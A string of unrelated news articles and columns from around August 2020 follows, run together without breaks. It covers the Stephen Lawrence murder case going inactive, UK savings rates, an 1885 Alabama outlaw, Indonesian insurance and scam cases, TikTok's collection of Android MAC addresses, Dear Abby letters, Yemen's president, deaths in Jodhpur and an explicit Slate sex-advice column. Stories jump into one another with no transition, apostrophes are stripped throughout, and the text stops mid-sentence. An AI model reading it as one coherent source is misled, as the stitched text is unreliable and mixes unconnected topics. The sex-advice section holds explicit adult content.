Cressida Dick said: 'This was an appalling racist murder and I am sad that we have been unable to secure further convictions for Stephen, his family and friends. 'I, and the senior investigator in charge of the case, Chris Le Pere, have met with Baroness Lawrence and Mr Lawrence and fully explained the work the team have been doing, and why we are now at this stage. 'The investigation has now moved to an 'inactive' phase, but I have given Stephen's family the assurance that we will continue to deal with any new information that comes to light. 'The investigation into Stephen's murder will also be periodically reviewed for any further investigative opportunities which may arise, for example with advances in technology.' She added that the force has told Duwayne Brooks, who was with Stephen on the night he was killed, about their decision. Knight, shirtless and wearing pink shorts, declined to comment when approached by a reporter at his parents' terraced house on an estate in Eltham today. He slammed the door when asked how he felt about the Stephen Lawrence case being moved to an 'inactive phase' and someone was then heard shouting 'f*** off you c***' from the house. The original investigation into Stephen's death was hampered by incompetence, racism and claims of police corruption surrounding Norris's father Clifford and his links to the criminal underworld. In April 1994 the Crown Prosecution Service said there was insufficient evidence to bring a prosecution, and in September that year Mr Lawrence's parents unsuccessfully attempted their own private prosecution against Dobson, Knight and Neil Acourt. Five years later the Macpherson report, produced after a public inquiry into the case, found the Metropolitan Police guilty of institutional racism and made a series of recommendations on changes to policing and wider public policy. Today there are still ongoing inquiries linked to the case, including an investigation by the National Crime Agency and the Independent Office for Police Conduct into alleged corruption. The case will also inform part of the public inquiry into undercover policing that is due to start next year, after it was revealed in 2013 that a police mole infiltrated a campaign group supporting the Lawrence family's fight for justice. Today, Commissioner Dick said: 'We were able to secure two convictions following a determined investigation in 2012 but it is well known that other suspects were also involved in the events which unfolded that night and it is deeply frustrating that we have been unable to bring them to justice. 'As a result of ceaseless campaigning for justice by Stephen's parents, profound changes have happened in policing, the law and wider society. 'I pay tribute to them for their courage and achievements. And today my thoughts are with them and all Stephen's loved ones.' Stephen was stabbed to death in an unprovoked racist attack by a gang of white youths 27 years ago in April 1993. In the weeks after, the two Acourts, Dobson, Knight and Norris were arrested in connection with his murder. In July 1993, committal proceedings were scheduled for Neil Acourt and Knight but the Crown Prosecution Service formally discontinued the prosecution following a meeting with the senior investigating officer. Then in December that year, the Southwark coroner Sir Montague Levine halted an inquest into Stephen's death after the family's barrister, Michael Mansfield QC, said there was 'dramatic' new evidence in the case. But in April 1994, the CPS said the new evidence was insufficient to support murder charges. Five months later, the Lawrence family began a private prosecution against Neil Acourt, Knight and Dobson. This began in April 1996 at the Old Bailey but collapsed after identification evidence was ruled inadmissible - and the three were acquitted. An inquest in February 1997 found that Stephen was 'unlawfully killed by five white youths', while in December that year a Police Complaints Authority report on the original police investigation identified 'significant weaknesses, omissions and lost opportunities'. The Macpherson Report in February 1999 found the police guilty of mistakes and 'institutional racism' and made a series of recommendations on changes to policing and wider public policy. It also suggested a rethink of the principle of 'double jeopardy', to allow the retrial of acquitted defendants in exceptional circumstances if new evidence emerged of their guilt. In April that year, the five men arrested in 1993 denied involvement in the murder in a television interview. Then, in September 2002, Norris and Neil Acourt were jailed for 18 months for a racist attack on off-duty black policeman Gareth Reid. The campaign for justice by Stephen's parents Baroness Lawrence (left) and her former husband Neville (right) led to a public inquiry which branded the police institutionally racist A court artist's sketch of Doreen Lawrence (left) and Neville Lawrence (third left) sitting near Gary Dobson (third right) and David Norris (second right) at the Old Bailey in November 2011 By May 2004, the CPS announced there was 'insufficient evidence' to prosecute anyone for the murder. But in the following year, the double jeopardy legal principle, preventing suspects being tried twice for the same crime, was scrapped for certain offences when there is new evidence. And in November 2007, police confirmed they were investigating new forensic evidence in the case. By May 2011, the Court of Appeal agreed that Dobson's 1996 acquittal for the murder could be quashed in the face of new forensic evidence. It could then be reported for the first time that Dobson and Norris would face trial, and this began at the Old Bailey in November 2011. They were found guilty the following January. Then, in March 2013, a major review by Mark Ellison QC found that a Metropolitan Police 'spy' was working within the 'Lawrence family camp' during the course of the judicial inquiry into matters arising from his death. Two years later the then-home secretary Theresa May launched an inquiry into undercover policing following the report of the Ellison Inquiry. And in October 2015, the National Crime Agency announced that the Metropolitan Police were being investigated for alleged corruption over their initial handling of the murder probe. One year later the Independent Police Complaints Commission found that former police boss Richard Walton, who controversially met an undercover officer during the Lawrence inquiry, would have faced disciplinary proceedings if he had not been allowed to retire. It was alleged that Mr Walton 'obtained information pertaining to the Lawrence family and their supporters, potentially undermining the inquiry and public confidence'. Then in September 2016, Scotland Yard announced it had received 'significant information' after a fresh appeal. Detectives were attempting to identify a woman whose DNA was on a bag strap found at the murder scene and a separate possible witness. But by April 2018, Scotland Yard admitted it has no new lines of inquiry in the investigation into Stephen's murder. And in July 2019, former detective sergeant John Davidson, who was accused of corruption in the original inquiry into Stephen's death, was cleared by the police watchdog. Stephen Lawrence: A timeline of the case that exposed racism at the heart of the Met Police Today's announcement that police are moving the Stephen Lawrence to an 'inactive phase' marks the end of a 27-year-long case that reverberated throughout every level of British society. Stephen's murder sparked an outcry that became a national protest, and would lead to the exposure of institutional racism in the Metropolitan Police - with repercussions that are still spreading to this day. April 22, 1993: Stephen Lawrence, just 18 years old, was stabbed to death in an unprovoked racist attack in Eltham, South East London. While on his way home from a dance just after 10pm, Stephen and his friend Duwayne Brooks missed their bus and, after waiting uneasily at the bus-stop for a few minutes, decided to walk. As Stephen and Duwayne reached a nearby roundabout on Well Hall Road, a gang of white youths on the other pavement started hurling foul and racist language at them. One came at them with a weapon, and the others followed. Duwayne turned to run but Stephen stood his ground. Stephen fell in a flurry of blows and kicks. As the gang left, Duwayne ran back to his friend who initially seemed only dazed. Then he collapsed. Duwayne tried frantically to flag down passers-by and cars for help. When an ambulance and police finally arrived, officers appeared to disbelieve his story from the first Duwayne thought his friend must have been struck with an iron bar, when in fact he had been stabbed. On April 22, 1993, Stephen Lawrence, just 18 years old, was stabbed to death in an unprovoked racist attack in Eltham, South East London Stephen died of blood loss before reaching hospital. May-June, 1993: Neil Acourt, Jamie Acourt, Gary Dobson, Luke Knight and David Norris were arrested in connection with his murder, but by July the Crown Prosecution Service (CPS) had formally discontinued the prosecution. December 1993: Southwark coroner Sir Montague Levine halts an inquest into Mr Lawrence's death after the family's barrister, Michael Mansfield QC, says there is new evidence in the case. April 1994: The CPS says the new evidence is insufficient to support murder charges. September 1994: The Lawrence family then starts a private prosecution against Neil Acourt, Mr Knight and Dobson. December 1994: Secret video evidence is filmed showing Dobson and Norris making obscene racist remarks. April 1996: The private prosecution against Neil Acourt, Mr Knight and Dobson begins at the Old Bailey but collapses after identification evidence is ruled inadmissible. The three are acquitted. February 1997: An inquest jury found that Stephen was 'unlawfully killed by five white youths'. The next day The Daily Mail runs a front page story accusing the five with the headline 'MURDERERS'. Prime Minister Tony Blair, Cherie Blair, and Neville and Doreen Lawrence are pictured in 1999 Daily Mail editor Paul Dacre describes the momentous decision to run that front page: 'I remember the last day of the inquest very, very vividly. I remember him [Sir Paul Condon, the then Met Police commissioner] saying that he bet his life the five suspects were as guilty as sin the tragedy was the police couldn't get the evidence necessary, the CPS wouldn't back them in a prosecution, but he was absolutely certain they were guilty. 'One sensed the palpable frustration. That night, the nine o'clock news showed the suspects and the arrogance with which they insisted on the privilege of silence. These guys were taking the p*ss out of British justice. 'At that moment I picked up a layout pad and I wrote down the word 'MURDERERS' in huge type and underlined it.' December 1997: A Police Complaints Authority report on the original police investigation of Stephen's murder identifies 'significant weaknesses, omissions and lost opportunities'. February 1999: The Macpherson Report finds the police guilty of mistakes and 'institutional racism.' It also suggested a rethink of the principle of 'double jeopardy' laws. April 1999: The five men arrested in 1993 deny involvement in the murder in a television interview. September 2002: Norris and Neil Acourt were jailed for 18 months for a racist attack on off-duty black policeman Gareth Reid. Baroness Lawrence, the mother of murdered teenager Stephen Lawrence, giving evidence to Home Affairs Select Committee at the House of Commons, London where she said it is "unbelievable" that inquiries into the aftermath of her son's death are still ongoing, 2019 Neville Lawrence, the father of murdered teenager Stephen Lawrence, outside the Home Office in London, where he and other campaigners who fell prey to controversial undercover policing tactics delivered a letter to the Home Secretary asking her to change the leadership of a public inquiry May 2004: The CPS announced there was 'insufficient evidence' to prosecute anyone for the murder of Stephen Lawrence. April 2005: The double jeopardy legal principle was scrapped for certain offences when there is new evidence. May 18, 2011: The Court of Appeal agreed that Dobson's 1996 acquittal for the murder can be quashed. November 14, 2011: The trial of Dobson and Norris for Stephen's murder begins at the Old Bailey. January 3, 2012: Dobson and Norris are found guilty of murder. March 6, 2013: A major review by Mark Ellison QC finds that a Metropolitan Police 'spy' was working within the 'Lawrence family camp' during the course of the judicial inquiry into matters arising from his death. March 12, 2015: Then-home secretary Theresa May launches an inquiry into undercover policing following the report of the Ellison Inquiry. October 16, 2015: The National Crime Agency announces that the Metropolitan Police are being investigated for alleged corruption over their initial handling of the murder probe. April 11, 2018: Scotland Yard admits it has no new lines of inquiry in the investigation into Stephen's murder. August 11, 2020: The Met Police announce there are no further lines of inquiry in the murder probe, and closes the investigation into the racist murder of Stephen Lawrence after 27 years. More green shoots have appeared in the savings market as the recent revival in fixed-term savings rates has continued over the last week. Challenger banks have continued to increase their rates on short-term fixed-rate deals while best buy tax-free Isas have also been launched. Experts said the presence of Treasury-backed National Savings & Investments at the top of the best buy savings tables was driving the revival, with banks forced to increase rates to attract savers away from NS&I, which has hoovered up billions of pounds over the last few months. There have been signs of slight green shoots in the savings market in recent weeks, with challenger banks increasing the rates they pay on fixed-rate bonds and Isas But savers must move fast if they spot an attractive deal, with savings rates having hit record lows this year and the market still fragile due to the impact of the coronavirus on the economy and bank lending. The best rates usually come from smaller banks and may not be around for long if large numbers of savers deposit their cash with them. Over the last week several have increased the rates they pay on one and two-year fixed-rate bonds. Secure Trust Bank launched a one-year bond paying 0.95 per cent on 1,000 or more on Thursday, and then upped its rate to 1.16 per cent just two days later. This is the second-best rate available on the market, after the 1.2 per cent offered by Sharia bank QIB UK, available through savings platform Raisin. Challenger bank Oaknorth increased the rate on its one-year bond from 0.74 per cent to 1.11 per cent on Monday, edging out United Trust Bank paying 1.1 per cent. And Charter Savings Bank increased the rate it pays on its bonds, which can be opened with 5,000, with its one-year bond paying 1.05 per cent and its two-year 1.16 per cent, the fifth and fourth-best rates available on the market, respectively. These bonds can all be opened online, while Charter Savings Bank also accepts postal applications. While there seems very little reason for savers to fix for longer than 24 months - with longer fixes paying no better rates than shorter deals - the recent rise in short-term fixed rates is a rare bit of good news for savers in what has otherwise been a miserable year. 'National Savings & Investments propping up the market means some of the banks which need funding are having to break out, which forces others to follow', James Blower, founder of The Savings Guru, said. 'Those who need it are finding they can't raise any serious volume being priced below NS&I so are having to pay up now.' And although rates on fixed cash Isas continue to lag regular accounts, tax-free savers have not been left out of the recent rates revival. Coventry Building Society launched a best buy 16-month fixed-rate Isa paying 0.77 per cent, and two and three-year Isas paying 0.85 per cent and 0.9 per cent, which require customers to fix their rate until November 2022 and 2023, respectively. All three Isas can be opened with 1 online, by phone or by post, and accept previous years' Isa transfers. The moves came just a day after Charter Savings Bank upped the rate on its own two-year fixed-rate Isa, from 0.85 per cent to 0.92 per cent, the best rate in our tables. It also cut its one-year rate from 0.76 per cent to 0.71 per cent, but this is still enough to leave it in second place. Both Isas, plus its best buy three-year fixed-rate paying 0.95 per cent, can be opened with 5,000 online, accept previous years' transfers and savers can choose to have interest paid monthly. However, savers should be slightly warier of fixing their Isa for longer than a year because they can earn up to 0.95 per cent interest on easy-access accounts, although many may wish to hedge against easy-access Isa rates falling further. The top tax-free Isa is offered by Skipton Building Society and pays 0.95 per cent for six months, at which point the rate falls to 0.45 per cent. Savers can open the account online and it accepts transfers. After Skipton, the best rate is offered by NS&I and Cynergy Bank, both of which pay 0.9 per cent, although NS&I's Isa does not accept transfers. Both can be applied for online, while NS&I's can also be applied for by phone, although the bank recommends savers use its website wherever possible. But despite this, the average closed easy-access Isa pays a higher rate than the average Isa available to savers on the market, meaning savers may actually be better off sticking with their current Isa provider at the moment. Up to 20,000 can be saved tax-free each year in an Isa. Moneyfacts' Rachel Springall said: 'It is vital that savers act quickly to take advantage of the top rate deals and also to switch if they find they are earning a poor return, especially if they have their cash in an easy access account with a high street bank. 'The next 12 months look uncertain for the savings market and any positive changes now could be fleeting. Consumers would be wise to remain vigilant and consider the more unfamiliar challenger banks if they hope to secure a lucrative return on their cash during this time.' Frank Herr, editor of the Livingston Journal, trekked through a swamp in October 1885 hoping to interview Alabamas most notorious fugitive -- his old friend, the disgraced ex-sheriff of Sumter County, Stephen Renfroe. Renfroes list of crimes included deserting the Confederacy, killing his brother-in-law in a dispute over chickens, beating his wife and terrorizing Black residents as a member of the Ku Klux Klan. Despite his alleged involvement in the disappearance of a judge and the murder of a magistrates bodyguard, Renfroe was elected sheriff in 1878. That his alleged victims were Yankee carpetbaggers -- Republicans in a time when that was a dirty word in Alabama -- probably helped get him elected. Once elected, his list of crimes grew to include arson, assault, blackmail, and stealing from his office. He was arrested in 1880 and made the first of a string of escapes over the next five years. His final escape came from a Jefferson County prison mine camp in 1885 and led Renfroe back to Sumter County. Herr and his reporters met an armed man as night was falling. Renfroes guard blew three times on an acorn whistle and one feint whistle came back. The group walked about 15 minutes and signaled to each other again. Eventually, they found Renfroe sitting on a log with a double-barrel shotgun in his lap and Remington revolver on his belt. Renfroe cannot be captured, The Journal wrote, because but one person can see him at a time and no one man can take him.He has an impregnable position from which he could kill as many men and dogs as might come within reach of him. The article outraged Justus Collins, manager of convicts at the Pratt Mines, who soon turned his fury on the newspaper and Louise Wooster. She was the Birmingham madam who claimed to have once been John Wilkes Booths lover and was a beloved citizen after she helped save the newborn Magic City survive a cholera epidemic in 1873. Every one (sic) who could possible leave the stricken little city lost no time in getting away, she wrote in her memoir. Those who were too poor and had not the means to go, those whose duty forbade them fleeing the danger and a few brave and noble ones who were not afraid to face danger, were all of the well ones left behind. She had the means to leave. Friends told her she would die if she stayed. Why I remained has always been a mystery to me, she wrote. I was determined to stay and help nurse the poor sick and suffering ones who needed me. In the 1880s, Wooster bought a two-story home on Fourth Avenue North and an adjacent building that became one of Birminghams high-class brothels, where she was said to have amassed a fortune. In 1885, she was in the cross-hairs of a manhunt for one of Alabamas most notorious outlaws. After his prison camp escape, Renfroe went into Birmingham after leaving here for the purpose of finding the house of Lou Wooster, a woman of bad repute, with whom one Walter H. Wilson, formerly of Greene County, this State, had left a pistol for him, Collins wrote in a letter shared by multiple Alabama newspapers in November 1885. Wilson was a guard at the camp, accused of hiding a stolen gun for Renfroe at Woosters house. There is no question but Walter H. Wilson, Lou Wooster, and other friends of Renfroe whom I do not know will read the interview with feelings of unalloyed pleasure, but when it comes to be read by law abiding citizens, it will be read with sadness and regret. Wooster sent her response to the Birmingham Chronicle. I think a great injustice has been done me and I hope you will print what I have to say in vindication of myself, she said. Justus Collins is either mistaken or maliciously did me an injustice. Louise said she met Wilson and took him to be a gentleman since he was a guard. When he asked her for food for the imprisoned Renfroe, she agreed. I would not refuse anyone that, she said. Wooster said there was no talk of any escape, but said she and Wilson had discussed trying to get Renfroe a pardon. The article continues: Later in the evening a lady in the house came to me with a pistol in her hand saying, Miss Lou, will you keep this? I am afraid of it. That man left it with me until he calls for it. He has two and says this one is so heavy he didnt want to bother with it. I was not supposed to know the gun was stolen as I had no idea thieves were employed as guards. Louise said Wilson later came back with another man and she questioned him about the gun. She said she later learned the man with Wilson was an official of Pratt Mines. She said she was shocked to hear of the escape and that Wilson had left a stolen gun there for Renfroe. When I knew Renfroe he was a gentleman whose character was above reproach and I never knew him after he was accused of crime. Though had I never known him I could not refuse his piteous appeal for something to eat I believe my character for truthfulness and honesty can be substantiated by the good people of Birmingham. Eight months later, on July 13, 1886, Renfroe was marched through the streets of Livingston. He had been recaptured after farmers in Enterprise, Mississippi blasted him off a stolen mule with a load of squirrel shot. That night, 15 disguised men overpowered the jailer, took Renfroe out of town and lynched him. Thus ends the career of the most daring desperate character Alabama ever produced, one newspaper proclaimed. Louise retired at the turn of the century and died in 1913. Legends persist that empty carriages from customers unwilling to show their faces followed her casket to the graveyard and that she was the inspiration for the character Belle Watling from Gone with The Wind. Share this article Whatsapp Facebook Twitter Linkedin Yunindita Prasidya (The Jakarta Post) Jakarta Tue, August 11, 2020 19:14 525 6657ac82168da9fa101c8a4066d2f7f5 1 Business MDRT,life-insurance,Prudential-Indonesia,Insurance-agents Free Life insurance company PT Prudential Life Assurance (Prudential Indonesia) aims to increase the number of its agents who qualify for membership of a global association of life insurance and financial services professionals, amid the persistently low insurance penetration rate in the country. The number of Prudential Indonesias agents registered as members of the trade association Million Dollar Round Table (MDRT) has grown over the years. Within four years, it more than tripled from 302 agents in 2017 to 1,000 agents in 2020. MDRT membership is recognized internationally as the standard of excellence in the life insurance and financial services business. With that figure, Prudential Indonesia accounts for around 36 percent of the 2,745 MDRT-registered agents in Indonesia as of July 1, making it one of the 10 countries with most MDRT members. Last year, only 2,459 agents in the country were registered as members of the association. If we are talking about aspirations, of course, we hope the number does not stay at 1,000. By 2021, we aspire for that number to reach 1,800, the companys chief agency officer, Rusli Chan, said during a virtual media briefing on Tuesday. Indonesias insurance penetration relative to gross domestic product (GDP) remains low. According to the latest data from the Organization for Economic Cooperation and Development (OECD), Indonesias insurance spending in 2018 was only 1.79 percent of the countrys GDP, lower than in neighboring Malaysias, where it was 4.4 percent, and much lower than the average insurance spending in OECD member countries at 8.92 percent of GDP. A recent high-profile case involving state-owned insurer PT Asuransi Jiwasraya added to public distrust of insurance companies. Jiwasraya has been accused of mismanagement and corruption after investing most of its premium revenue from the JS Saving Plan, one of the companys insurance products, into so-called pump-and-dump stocks. Prudential Indonesia has more than 260,000 agents across the country, a number that is reportedly growing amid the pandemic as people look for alternative sources of income, Prudential Indonesia president director Jens Reisch said. We actually increased our [agent] recruitment quite significantly. Now, the number of agents is already 285,000, Reisch noted during the media briefing. Prudential Indonesia runs a host of capacity building programs for its agents to help them qualify for the MDRT title. Rusli explained that the company built an awareness program called Run for MDRT and provided its agents with MDRT mentorship to facilitate the transfer of knowledge between agents. Miliana Marten, MDRT Indonesia country chair, explained that MDRT membership would give agents access to resources as well as a global network with the worlds best financial services professionals. The MDRT has more than 72,000 members from more than 500 companies in 70 countries. The MDRT is membership-based. To achieve MDRT membership, a high level of commitment is needed to achieve the benchmark of premium collection, Miliana said during the same event. To be considered for MDRT membership, agents need to collect total premiums worth Rp 453.92 million (US$31,000) within their first year. A step above the MDRT qualification is the Court of the Table (COT) qualification, given to members who collect total premiums of Rp 1.36 billion. The highest qualification, called the Top of the Table (TOT), is given to those who manage to collect Rp 2.72 billion in yearly premiums. Editor's note: This article has been updated to accommodate a clarification that Prudential did not just start the MDRT program in 2017. Share this article Whatsapp Facebook Twitter Linkedin Moch. Fiqih Prawira Adjie (The Jakarta Post) Jakarta Tue, August 11, 2020 17:49 526 6657ac82168da9fa101c8a4066d29548 1 National case-review,First-Travel,umrah-scam,peninjauan-kembali Free Convicted scammer Andika Surachman on Tuesday filed a case review against a 2019 Supreme Court ruling that denied his companys seized assets be returned to him in an umrah (minor haj) package scam case. In 2018, the Depok District Court in West Java sent trip-planning company First Travel bosses Andika, Anniesa Hasibuan and Kiki Hasibuan, to prison for scamming Rp 905 billion (US$61 million) from more than 63,000 hopeful pilgrims. The court also ruled the government confiscate the companys Rp 25 billion in assets, which were seized as evidence for any future investigation. In 2019, the Supreme Court upheld the decision on the company's assets. Andikas lawyer Boris Tampubulon said that his client, who is the owner and president director of the company, requested the case review so the government would not take away his company's assets. We plead all assets of First Travel be returned to the convicts so that we can seek reconciliation with our customers, Boris told The Jakarta Post on Tuesday. The [ruling on asset confiscation] does not reflect a sense of justice for the public, the convicts or the thousands of would-be pilgrims. Boris said that if the assets were to be given back to the convicts, they could return the money belonging to the would-be pilgrims. In fact, [the courts ruling] dispelled all hopes. The convicts are punished with extraordinary sentences and their property was confiscated for the state instead of being returned to the customers, he said. The court sentenced Andika and wife Anniesa, also the companys owner and director, to 20 years and 18 years of imprisonment, respectively, and ordered each of them to pay a fine of Rp 10 billion for the crime. The companys financial director Kiki was sent to prison for 15 years and ordered to pay a fine of Rp 5 billion for her involvement in the misdemeanor. Boris said that, to date, the scam victims had not received any compensation, even after several legal measures, including filing a debt postponement petition with the commercial court and reporting the case to the police. In December last year, First Travel scam victims saw another defeat when the Depok District Court rejected a civil lawsuit filed by some 3,000 customers demanding a refund. Prior to the case that came to light in 2017, the travel agency gained a reputation by offering a cheap umrah package. One victim reportedly said the company only charged around Rp 9 million per person for a pilgrimage package in 2013, while other trip planners charged about Rp 15 million per person. TikTok found a loophole to access the data of Android users, collecting details about the habits of millions of people without their knowledge, it has been claimed. The Chinese-owned social media app is under intense scrutiny over claims that it is used by Beijing to spy on users. TikTok has said it doesn't share data with the Chinese government and would not do so if asked, but Donald Trump is unconvinced, and is mulling banning the app in the United States. On Tuesday the Wall Street Journal reported that TikTok had skirted privacy settings on Google Android phones, and tracked users of the app. TikTok accessed Android users' data until November, it has been reported TikTok accessed what is known as a MAC address - a 12-digit 'media access control,' code. The unique number is found in all internet-ready electronics, including mobile devices, and is desirable for advertisers because it cannot be reset or altered. This allows app makers and third-party analytics firms to build profiles of consumer behavior that persist through any privacy measure, short of buying a new phone. Apple blocked the access of iPhone MAC addresses in 2013, preventing third-party apps from reading the identifier. Google did the same two years later in Android, but TikTok bypassed that restriction on Android by using a workaround that allows apps to get MAC addresses through a more circuitous route, the paper concluded. TikTok stopped using the work-around in November, the WSJ found. TikTok claimed earlier this year that they collected less data than Facebook and Google. TikTok, owned by Beijing-based ByteDance, has since July been a concern for Donald Trump The company said they no longer accessed the information, and worked to protect privacy In a statement, a spokesperson said the company is 'committed to protecting the privacy and safety of the TikTok community.' The spokesperson said: 'Like our peers, we constantly update our app to keep up with evolving security challenges.' Trump said on July 31 that he had decided to ban the app, which launched in the U.S. in 2018 and now has more than 100 million users in the United States. 'As far as TikTok is concerned we're banning them from the United States,' Trump told reporters aboard Air Force One. It was not clear whether he could, unilaterally, ban the app but he insisted he had the authority. The Trump administration has publicly been threatening to ban TikTok since early July, citing concerns about the app's ties to China and the foreign government's access to user data and content moderation through its parent company, ByteDance. Microsoft has expressed an interest in buying TikTok from ByteDance for $50 billion - a deal which Bill Gates, Microsoft founder, described as a 'poison chalice'. Trump has given Microsoft a September 15 deadline for purchasing the app, or else he says he will shut it down. DEAR ABBY: My wife and I have been together since we were 16, married for 25 years. Her parents took me in as a teenager, and her family has been my family ever since. Im the kind of person who loves everyone equally. I will bend over backward for someone in need and have done so for my wifes family many times. Over the last few years, my wifes brother, nephew and niece have turned against me. Theyve called me controlling, hateful and racist. I am none of those. I am, though, a law enforcement officer and a Christian. My wifes brother is a convicted felon, and her niece went to one of those anti-everything colleges. This has created a rift in the family and caused my wife and me to feel hated and isolated, which has ruined family gatherings and holidays. How can I fix this? What can I do to help them see me for who I am, instead of their biases based on my religion and occupation? REALLY NOT LIKE THAT DEAR REALLY NOT: There is nothing you can or should do to erase their biases. From your description, you have done enough good deeds for your in-laws to have shown them the kind of person you are. You have mentioned only your brother-in-law the felon and his radicalized daughter. Where does the rest of the family stand on this? If they are joining in and allowing you to be isolated, quit trying to impress them. Instead, spend your time with people who like, understand and accept you for who you are and dont look back. Your brother-in-law and his kids will come looking for you as soon as they need something else from you, but when they do, I sincerely hope youll resist the temptation to buy your way back in. ** ** ** DEAR ABBY: I work closely with a woman who is 21 years younger than I. We are both single. Because of our age difference and professional relationship I am not looking to date her. However, over the last couple years I have developed romantic feelings for her. I converse with her by asking questions about movies she likes, books she reads or what she did the previous weekend. Her answers are usually short and without elaboration. I even share with her things that I do in my life, but never once in the five years I have known her, has she ever initiated a conversation with me or asked me about my life. She acts differently with other male co-workers. She does things for them, smiles at them and seems genuinely interested in their conversation. It really stings every time I see her socialize with others and ignore me. What can I do to get out of this psychological rut I am in? STUCK IN ILLINOIS DEAR STUCK: Your co-worker may have picked up on the fact that you are attracted to her and it is not reciprocated, which is why she keeps your relationship strictly formal and work-related. I am sure this stings, and for that you have my sympathy. You now must do what everyone else in your situation does, which is concentrate on meeting women who are available. You are not going to find what youre looking for in your workplace. Whats going on is not healthy for you or conducive to a productive work environment. If you cant quell that crush on her, you may have to change jobs so you wont have to work so closely with her or at all. ADEN (Reuters) - Yemen's President Abd-Rabbu Mansour Hadi will leave Saudi Arabia and head to the United States for medical treatment early on Wednesday, two sources close to the matter told Reuters on Tuesday. The head of the country's internationally-recognised government, who has lived in exile in Riyadh since the Iranian-aligned Houthi group captured the Yemeni capital Sanaa in 2015, has been treated for a heart condition since 2011. He is set to return in a week, the sources said. Hadi has been on several trips for medical checks and treatment to the United States, most recently in June 2019. Yemen's conflict has killed more than 100,000 people since a Saudi-led alliance intervened in Yemen in March 2015 to try to restore Hadi's government, an ally of Riyadh. The war is largely seen regionally as a proxy struggle between Riyadh and Tehran. The sources said the trip would not delay talks between Hadi's administration and the separatist Southern Transitional Council (STC) around the formation of a new government. Riyadh is seeking to end a conflict between the separatists and the Saudi-backed government, which has been based in Aden for five years after the Houthis ousted it from Sanaa. The government and the STC, which is backed by the United Arab Emirates, are the main Yemeni forces in the Saudi-led anti-Houthi coalition. But the two Yemeni allies have been at loggerheads since last August when the STC took over Aden. In July, Saudi Arabia presented a framework to expedite a stalled November deal in Yemen's south designed to end the dispute. (Reporting by Mohammed Ghobari, writing by Marwa Rashad; Editing by William Maclean) In a big development, the Police on Tuesday said that autopsies on the 11 Pakistani Hindu migrants, found dead at a farm 100 km from Jodhpur indicated the consumption of a poisonous substance. 11 dead bodies were recovered from a farmer's field in Rajasthan's Jodhpur on Sunday. They were allegedly working in a farmer's field in Achlawata. Lodta, along with its neighbouring areas, house many such refugees and minorities that have fleed persecution from Pakistan. Police are interrogating some people detained by them, including the estranged wife of the lone survivor in the family. The survivor told police that after dinner with the family he went up to the fence of the farm to keep watch against animals and fell asleep there. A note found at the spot alleged threats from the relatives of the wives of two members of the family and harassment by police. "We came to India to save our honour but the same honour is under threat here as well," the note found at the shack said. However, the nature of the poison is yet to be determined and police are awaiting a report from the forensic science laboratory. Other migrants have demanded a high-level inquiry. Hindu Singh Sodha who heads a migrants' organisation Seemant Lok Sanghthan said a high-level inquiry was needed even if it was case of suicide. He said the local police could not be trusted with the case as they are mentioned in the note, which alleged harassment of the family by them. The family came from Pakistan's Sindh in 2015 on a long-term visa. For the past six months, the family members were living on the farm which they had hired for cultivation. READ | Pakistan judges thrown horse-chariot farewell party with petal shower; netizens have query READ | Imran Khan begs to raise Kashmir issue; UNGA prez-elect says only if both parties request READ | 11 dead bodies recovered from a farmers field at Jodhpur; probe ongoing How to Do It is Slates sex advice column. Have a question? Send it to Stoya and Rich here. Its anonymous! Dear How to Do It, So my wife and I like to do the cuckold scene, but during COVID, its just the two of us, so we have been playing some dom/sub games. Right now, she is making me masturbate 1-2 times a day into a Ziplock bag and immediately freezing it. After a week, I have to eat it all. So my question is, assuming Im STI free (tested and true), is there anything I need to worry about with my cumsickle? If we dont hear from you by cumsickle day, we will just continue adding to the prize as we want to be safe. Thanks. Advertisement Advertisement Advertisement Advertisement Freeze Pop Dear Freeze Pop, While those who frequent the more fetishy fringes of tube sites have likely heard of this practice, for obvious reasons, there isnt much data available to help us determine the risks involved in becoming your own Mister Softee machine. So lets review what we do know. Through the cryopreservation process, sperm that is frozen and stored can be thawed at a later date for fertilization. Even though this involves adding a preservative and is generally a far more sterile process than the average puttering around of the kitchen, we can assume that what comes out of the freezer is more or less what comes out of the dick. So lets ponder the risks of semen eating more generally. Since you have already taken STDs out of the equation, thus eliminating the chance of spreading a localized infection to another part of your body, the main thing to be concerned about is whether you have a semen allergyit is, in fact, possible to be allergic to your own semen, and this may present as redness, swelling, and hives. I read a Reddit horror story of someone who ate two weeks worth of frozen cum and had intense diarrhea as a result. Take it with a grain of salt, as you should anything you read on Reddit, though funnily enough, Reddit is about the most bountiful source of anecdotal cumsicle information. So tread lightly and saltily. Advertisement Advertisement I ran this question by my go-to urologist source, Dr. Charles Welliver, director of mens health at Albany Medical College, and he said that with all the necessary caveats of this not being actual medical advice, in his informed estimation, you should be fine. Just keep your cum away from the Otter Pops so as not to corrupt their innocence. Advertisement Advertisement Dear How to Do It, Can COVID-19 be transmitted from the active partner in cunnilingus to the passive one? Ive read some articles about the risk the other wayi.e., the possibility of contracting the virus by going down on a womanbut havent seen anything about whether the cunnilinguist is at risk. What do the experts say? Advertisement Stop the Spread Dear Stop the Spread, I will save my rant on why its weird to talk about active and passive partners in oral sex for another time, but if I understand your question correctly, the answer is: Its unclear. SARS-CoV-2 is present in saliva, but theres limited data on whether it is detectable in vaginal fluid. This study out of China says no, but it only tested 10 women. Another study of 35 women found no presence of SARS-CoV-2 in the lower vaginal tract. (The results of a third study have yet to publish.) Though a conclusion of the second study I cited is the lower female genital tract may not be a transmission route for SARS-CoV-2, its far from definitive and far too early to really say much about the virus for sure. There is still so much that we dont know. But isolating such transmission is likely to be difficult anyway for a virus that seems to spread easily among people in close proximity who arent engaged in sex. Damn aerosols. Unless there were some sort of outdoor gloryhole configuration being used, at this point, I think itd be difficult to isolate and say definitively, You contracted COVID from oral sex, over, You contracted COVID from sitting next to that person, which youd certainly need to do in order to perform or receive oral sex. Hopefully, specificity is on our horizon. Advertisement Advertisement Advertisement Advertisement Advertisement Get the How to Do It Newsletter Sex advice from Stoya and Rich, delivered weekly. We encountered an issue signing you up. Please try again. Please enable javascript to use form. Email address: Send me updates about Slate special offers. By signing up, you agree to our Privacy Policy and Terms Sign Up Thanks for signing up! You can manage your newsletter subscriptions at any time. Dear How to Do It, My partner and I have been together for about six years now, and although the sex we have is great, weve never really discussed what things we might want to explore or try. I know about a few things my partner has done in the past, including a threesome with two menand while if for some reason kind of bothered me in the beginning, Ive begun to think about it in a sexual way a bit and it fuels some fantasies that I have had. Something about her being the object of desire in that way really turns me on. I know I am too jealous to ever have a threesome in real life, but is there a way to bring up maybe a simulated 